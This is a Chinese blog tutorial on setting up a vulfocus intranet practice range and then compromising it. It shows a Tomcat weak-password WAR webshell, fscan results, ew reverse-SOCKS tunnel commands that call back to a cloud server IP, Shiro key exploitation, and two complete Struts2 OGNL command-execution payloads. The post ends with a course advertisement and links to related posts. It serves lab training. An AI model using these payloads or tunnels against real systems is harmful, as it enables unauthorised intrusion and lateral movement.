记一次自己搭建内网靶场（非常详细），零基础入门到精通，看这一篇就够了

原创 于 2025-10-13 13:57:27 发布 · 458 阅读 · 5 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#安全 #web安全 #网络 #运维 #系统安全

文章目录
    • 前言
    • 0x01 环境搭建
    • 0x02 环境编排
    • 0x03 靶场实战
      • web打点
      • 内网穿透(一层代理)
      • 内网穿透(二层代理)
    • 0x04 总结
  • 零基础网络安全学习计划
    • 学习路线图大纲总览
    • 学习计划
      • 阶段一：初级网络安全工程师
      • 阶段二：中级or高级网络安全工程师（看自己能力）
      • 阶段三：顶级网络安全工程师
  • 资料领取

前言

开源项目，将漏洞环境 docker 镜像，放入即可使用，开箱即用，我们搭建在云服务器上，高一点的配置会更好，可以按需搭建本地虚拟机中和自己的服务器上，我们用该环境制作靶场训练。

0x01 环境搭建

https://github.com/fofapro/vulfocus

也有在线的，不过不好用，还是自己搭建一个比较方便。

保证服务器中有docker，使用docker一键拉取。

docker pull vulfocus/vulfocus:latest

启动该容器

访问端口自己随便设置，将自己的IP替换xx.xx.xx.xx


docker run -d -p xx:80 -v /var/run/docker.sock:/var/run/docker.sock  -e VUL_IP=xx.xx.xx.xx  vulfocus/vulfocus

图片

访问web界面

如果访问不到，查看自己的防火墙是否关闭，如果是云服务器，去控制台查看该端口是否对外开放 默认用户名密码为admin，如果搭建在云服务器上建议修改密码。

图片

进入系统后，先同步一下镜像

若同步显示服务器内部错误，那就重新拉取一个新的镜像

docker pull dockerproxy.com/vulfocus/vulfocus:latest

``

图片

下载自己需要的镜像就可以了，在这里我们随便下载几个命令执行的镜像，方便我们去搭建环境。

图片

随便选几个，我们去搭建环境。

0x02 环境编排

先创建三个网卡，看自己的需要，需要几个就创建几个。

图片

创建编排模式

图片

开始创造环境，记得是托，点不了。

图片

选择已下载的镜像，随便设置两层。

图片

点击保存。然后发布。

图片

图片

开启环境之前，记得设置一下环境开启的时间，一般默认是每个环境三十分钟，可能不太够。

图片

然后开启环境。

图片

访问目标环境

图片

环境搭建成功

0x03 靶场实战

web打点

tomcat8.0.43，使用tomcat弱口令+后台war包上传组合拳可以拿到webshell。注意jsp马需要压缩为zip后将后缀改为war包才能上传

图片

上传war包

图片

访问一下shell。

图片

拿到webshell的方法。

第一种方法：先用哥斯拉生成一个jsp木马，然后使用命令:

jar cvf x.war x.jsp

上传就可以了。

第二种方法：使用msf生成一个war包。

第三种方法：使用msf搜索漏洞，一键利用。

这里我们使用第一种办法。

使用冰蝎连接我们上传的webshell。

图片

图片

拿到第一个flag。

内网穿透(一层代理)

成功拿到webshell，现在我们进行信息收集

ip a

``

图片

上传一个fscan，做一下信息收集

图片

进行信息收集

图片

192.168.1.1:8080 open192.168.1.3:8080 open192.168.1.2:8899 open192.168.1.2:22 open192.168.1.1:8009 open192.168.1.3:8009 open[*] WebTitle http://192.168.1.3:8080   code:200 len:11230  title:Apache Tomcat/8.0.43[+] PocScan http://192.168.1.3:8080/manager/html poc-yaml-tomcat-manager-weak [{username tomcat} {password tomcat}][*] WebTitle http://192.168.1.1:8080   code:200 len:1024  title:Apache Shiro Quickstart
发现192.168.1.1 这个内网ip存在shiro框架

我们现在进行内网穿透。

可选择的方式比较多，可以用很多方式，frp，ew等。

https://github.com/SexyBeast233/SecBooks/blob/main/%E3%80%90%E5%86%85%E7%BD%91%E7%B3%BB%E5%88%97%E3%80%91intranet/%E6%9C%80%E5%A5%BD%E7%94%A8%E7%9A%84%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F%E5%B7%A5%E5%85%B7%E5%90%88%E9%9B%86.md

在这里我想使用ew，因为他比较轻便，也挺好用的，一条命令就可以解决问题。

图片

先把ew工具上传到目标机器，然后准备一台云服务器，上传ew工具。

云服务器上：

./ew_for_linux64 -s rcsocks -l 1008 -e 8888

``

图片

目标机器中

./ew_for_linux64 -s rssocks -d 123.60.137.229 -e 8888
记得赋权

图片

显示第一层代理搭建完成，我们使用火狐浏览器去测试。

图片

成功搭建完成。

内网穿透(二层代理)

通过刚才fscan扫描出来的结果

发现另一处web界面，存在shiro框架。

图片

配置bp代理，抓包测试。

图片

登陆测试

图片

图片

发现存在shiro框架，我们使用工具去爆破key。

图片

记得先挂我们使用ew搭建的一层代理。

图片

尝试利用。

图片

命令执行成功，打入内存马

图片

使用冰蝎去连接，记得挂代理

图片

成功拿到该机器的webshell，找到flag。

图片

继续信息收集，发现该机器也有两张网卡，继续上传fscan扫描，发现存在

图片

图片

继续搭建二层代理，我们继续使用ew这个工具，也可以尝试别的工具，萝卜青菜，各有所爱。

剩下的操作就和一层代理一个道理，主要是进行二层代理转发

云服务器

./ew_for_linux64 -s lcx_listen -l 1080 -e 8889

``

192.168.1.3机器

./ew_for_linux64 -s ssocksd -l 9999

``

192.168.1.1机器

./ew_for_linux64 -s lcx_slave -d xxx.xx.xx.xx -e 8889 -f 192.168.1.3 -g 9999

浏览器访问测试，看是否穿透成功。

图片

可通过访问 xx.xx.xx.xx:1080 来使用192.168.1.3主机提供的 socks5 代理

图片

这样就可以连接到二层隧道了，继续进行漏洞探测就可以了。

访问另一个web界面，尝试找到它的漏洞

图片

配置bp抓包。

图片

手工找到漏洞点测试判断

图片

payload：%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

图片

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream())).(#q)}

图片

0x04 总结

构建的场景都是一些可以拿到shell的漏洞，而且都是linux机器，只是练习内网穿透，代理转发的一些操作，不算真正意义的内网渗透。

如果想要学习内网渗透(域渗透)，建议自己本地使用虚拟机搭建，目前还没发现免费的在线的域渗透靶场，不过有收费的，想要学习的师傅们也可以去玩玩。

—END—

网络安全学习路线&学习资源在这里插入图片描述

网络安全的知识多而杂，怎么科学合理安排？

下面给大家总结了一套适用于网安零基础的学习路线，应届生和转行人员都适用，学完保底6k！就算你底子差，如果能趁着网安良好的发展势头不断学习，日后跳槽大厂、拿到百万年薪也不是不可能！

初级网工

1、网络安全理论知识（2天）

①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）

2、渗透测试基础（一周）

①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础（一周）

①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）

4、计算机网络基础（一周）

①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作（2天）

①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透（1周）

①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）

恭喜你，如果学到这里，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web 渗透、安全服务、安全分析等岗位；如果等保模块学的好，还可以从事等保工程师。薪资区间6k-15k

到此为止，大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗？

【“脚本小子”成长进阶资源领取】

7、脚本编程（初级/中级/高级）

在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中，想要高效地使用自制的脚本工具来实现各种目的，更是需要拥有编程能力.

零基础入门，建议选择脚本语言Python/PHP/Go/Java中的一种，对常用库进行编程学习； 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP， IDE强烈推荐Sublime； ·Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，不要看完； ·用Python编写漏洞的exp,然后写一个简单的网络爬虫； ·PHP基本语法学习并书写一个简单的博客系统； 熟悉MVC架构，并试着学习一个PHP框架或者Python框架 (可选)； ·了解Bootstrap的布局或者CSS。

8、超级网工

这部分内容对零基础的同学来说还比较遥远，就不展开细说了，贴一个大概的路线。感兴趣的童鞋可以研究一下，不懂得地方可以【点这里】加我耗油，跟我学习交流一下。

网络安全工程师企业级学习路线

如图片过大被平台压缩导致看不清的话，可以【点这里】加我耗油发给你，大家也可以一起学习交流一下。

一些我自己买的、其他平台白嫖不到的视频教程：

需要的话可以扫描下方卡片加我耗油发给你（都是无偿分享的），大家也可以一起学习交流一下。

网络安全学习路线&学习资源在这里插入图片描述

结语

网络安全产业就像一个江湖，各色人等聚集。相对于欧美国家基础扎实（懂加密、会防护、能挖洞、擅工程）的众多名门正派，我国的人才更多的属于旁门左道（很多白帽子可能会不服气），因此在未来的人才培养和建设上，需要调整结构，鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”，才能解人才之渴，真正的为社会全面互联网化提供安全保障。

特别声明：

此教程为纯技术分享！本书的目的决不是为那些怀有不良动机的人提供及技术支持！也不承担因为技术被滥用所产生的连带责任！本书的目的在于最大限度地唤醒大家对网络安全的重视，并采取相应的安全措施，从而减少由网络安全而带来的经济损失！！！

搭建内网靶场并用MSF进行内网穿透/渗透实验
Cwillchris的博客
10-17 4393
实验名称：利用MSF打穿内网 实验人：XX 实验日期：2021.10.16 实验目的：利用MSF进行内网渗透 实验拓扑： 实验环境： 所用机器 网络类型 IP 默认网关 DNS 攻击机：kali NAT 172.16.12.30/24 172.16.12.2 114.114.114.114
手把手教你打造CTF动态靶场
Python栈
07-03 4702
公司想搞一个CTF比赛，需要一个竞赛靶场，于是这个任务就落在了我的身上，平台是利用CTFd框架，基于docker搭建的动态靶场，搭建过程中遇到的坑比较多，这里我会把每一个遇到的坑都指出来。我搭建的是CTFd的3.X的版本。第一次搭建的话，搭建的过程会有些痛苦，但是搭建完成后会越来越熟练，这个平台的可用性还是很高的。由于搭建的过程中遇到的坑太多了，各种各样的问题，所以决定写下这篇文章，把所有的坑都指出来，也算为后边想搭这个平台的小伙伴指一条路。Taps:资源来源：星海安全实验室如果你也对网络安全&黑客。
网络安全学习-靶场搭建（kali下搭建dvwa）
weixin_44277013的博客
07-12 1366
LANMP是指一组通常用来搭建动态网站或者服务器的开源软件。本身都是各自独立的程序，但是因为常被放在一起使用，拥有了越来越高的兼容度，共同组成了一个强大的Web应用程序平台。L:指Linux，一类Unix计算机操作系统的统称。常用的比如 : centos、debian 、ubuntu 、redhat等；A:指Apache ，网页服务器；N:指Nginx，一个高性能的HTTP；M:指Mysql 、Mariadb等数据库管理系统或数据库服务器；
内网靶场_从自做到拿下-自做篇
l805142479的博客
03-14 6364
内网靶场学习，从自己制作靶场到拿下靶场；从frp的隧道搭建，到cs利用frp的反向上线；
网络靶场实战-记一次大型内网渗透实践 【完结篇】
蛇矛实验室
12-13 2154
本场景基于某业务架构进行搭建，场景内包含了100余台主机以及20余子网，内置相关应用，包括Web服务、邮件服务、文件服务、OA服务等，但本场景多通过水坑攻击、钓鱼攻击、服务爆破等相关技术，其中包含了Chrome漏洞利用、Office漏洞利用等。通过本场景可以进行相关攻防技术训练。
记一次内网靶场渗透WP
include_voidmain的博客
04-19 3280
0x01 前言 此次靶场渗透思路，攻击者通过VPS(kali-linux)服务器以WEB_1-(ubuntu，双网卡)为入口。 横向到一个WEB_2(windows 7，双网卡)通过双网卡进行横向探测，发现OS_3，利用目标存在的系统漏洞获取目标系统权限。 0x02 靶场拓扑 0x03 渗透过程 访问WEB_1服务器地址： http://192.168.28.135发现为JunAMS 扫描后台管理地址成功获取地址： http://192.168.28.135/admin.php并成功跳转至管理页面。 J
内网域渗透总结（红日靶场一）
未完成的歌~的博客
04-11 1万+
使用 smb beacon，由一台已经拿到 beacon 的机器，抓取密码后进行smb喷射，得到另一台开放445端口的机器上的administrator账户密码，在目标机器不出网的情况下，可以使用smb beacon使目标主机上线。发现也存在漏洞，同样先使用 use exploit/windows/smb/ms17_010_eternalblue 模块利用，但还是利用不了，猜测可能是防火墙的问题，因为这个系统是64位的。防火墙已经关掉了，再来试试 ms17_010_eternalblue，然而还是不行。
Gitlab搭建内网服务器一篇就够
热门推荐
盗火侠的专栏
03-26 2万+
0 写在前面首先大概捋一下概念：Git是版本管理工具，GitServer是远程管理仓库，但是这个仓库没有界面只能命令行管理。多个仓库时又很麻烦，Gitlab是一个私有的仓库Web管理工具，基于RoR。GitHub则可以看成一个世界级公开的GitLab。 总结起来大概如下： * 支持类似于github那样强大而又简单的UI交互型操作 * 支持安装包部署在自己服务器上，安全、开源，并且免费 *
一次内网靶场学习记录
HBohan的博客
11-27 4685
环境搭建 web服务器： 外网IP 192.160.0.100 内网IP 10.10.20.12 域内机器win7 : 内网IP 10.10.20.7 内网IP 10.10.10.7 域内服务器 Mssql： 内网IP 10.10.10.18 域控机器： 内网IP 10.10.10.8 →点击查看技术资料← 1.2000多本网络安全系列电子书 2.网络安全标准题库资料 3.项目源码 4.网络安全基础入门、Linux、web安全、攻防方面的视频 5.网络安全学习路线图 外网渗透 端口扫描 搭建好环境，对目
零基础教你搭建一个自己的靶场！
南迪叶先森
07-05 5573
公粽号：黒掌 一个专注于分享网络安全、黑客圈热点、黑客工具技术区博主！ 0x00 前言 第一次尝试挖SRC的小伙伴可能会觉得挖掘漏洞非常困难，没有思路，不知道从何下手，在这里我分享一下我的思路 0x01 挖掘思路 确定自己要挖的漏洞，以及该漏洞可能存在的功能点，然后针对性的进行信息收集 例如我要挖弱口令，或者验证码绕过等漏洞，那么常见的功能点肯定是登录页面，那么就可以通过google语法来收集存在登录功能的页面 intitle: 后台管理 intitle: 登录 再比如说我要挖SQL注入，那
0基础教你搭建靶场（本地、虚拟机）
2301_76332302的博客
04-18 4561
完成CMS安装后，导入sqlmap文件夹至虚拟机Kali Linux中root文件夹内(可在本机系统用Xftp软件实现)，此时sqlmap.py文件路径为root/sqlmap/,访问靶场。数据库名称：可随便写（建议写bluecms)，数据库用户名：root ，数据库密码：root。在虚拟机Windows 2003里启动phpstudy，并设置端口号为90，其他设置参照前面本地搭建靶场phpstudy设置。3，点其他选项菜单，见下图标识点3，新的弹出菜单里选择"phpStudy设置"—
Web安全和渗透测试有什么关系？
Python_0011的博客
03-31 3866
做渗透测试的一个环节就是测试web安全，需要明白漏洞产生原理，通过信息收集互联网暴露面，进行漏洞扫描，漏洞利用，必要时进行脚本自编写和手工测试，力求挖出目标存在的漏洞并提出整改建议，当然如果技术再精一些，还要学习内网渗透（工作组和域环境），白盒审计，app，小程序渗透那些了......可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。当然除了有配套的视频，同时也为大家整理了各种文档和书籍资料&工具，并且已经帮大家分好类了。总之，web安全包含于渗透测试，但不是渗透测试的全部。
自建靶场WP（tp+SUID+容器逃逸）
DoNotShyDoIt的博客
07-19 1723
5.0.23*
你还没有自己的靶场吗？来，自己建一个吧
网络安全
01-26 1889
靶场篇1、在线靶场BugKu（简单，推荐新手入门，还有在线工具）https://ctf.bugku.com/index.html北京联合大学BUUCTF（新靶场，难度中上，搜集了很多大赛原题）https://buuoj.cn/CTFhub靶场（含历年赛题） https://www.ctfhub.com/#/indexCTFshow靶场（题较多） https://ctf.show/chall...
自建靶场 XSS练习（一）
fanxiaoyao1的博客
03-01 1069
自建靶场 XSS练习（一） 点击链接快速跳到指定关卡 文章目录自建靶场 XSS练习（一）靶场搭建一、第一关二、第二关三、第三关四、第四关五、第五关六、第六关七、第七关七、第八关九、第九关 靶场搭建 我用的是phpStudy，靶场代码可以去github上找，或者私信问我要 浏览器用的火狐，有hackbar插件，谁用谁知道 一、第一关 点击进入第一关 这关没啥难度，简单粗暴，后台也没有过滤。name=<script>alert(/xss/)</script>就过了，当然你想玩
自建靶场2022
weixin_45423582的博客
02-12 4100
自建靶场2022 靶场介绍 本靶场是一个简单的内网渗透靶场。需要首先拿到win2008服务器的权限，再渗透内网拿下WinXP，win2008上没有flag，flag在WinXP上。综合考验许多知识，暂未使用防护软件，属于一个比较基础的靶场。 主要配置如下： 系统 ip地址 kali 2020 192.168.1.106 win10 （本机） 192.168.1.104
内网靶场-红日1
最新发布
weixin_46365325的博客
03-05 881
虚拟机所有统一密码：Hongrisec@2019网络拓扑图如下：这里我设置的网络是VMnet2和VMnet8，无所谓设置哪两个网络，最重要的是需要两个网络，且不能在同一个网段内（因为需要一个做外网一个做内网）
NOD32 4.2内网升级服务器搭建教程：从零入门到实战部署
本篇教程详细介绍了如何在内网环境中搭建NOD32 4.2免费升级服务器，适合菜鸟和有一定经验的读者学习。教程涉及到的软件有NOD32 EAV 4.2作为用户终端使用的防病毒软件，以及NOD32UpdateView 4.22.1作为服务器端的更新...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值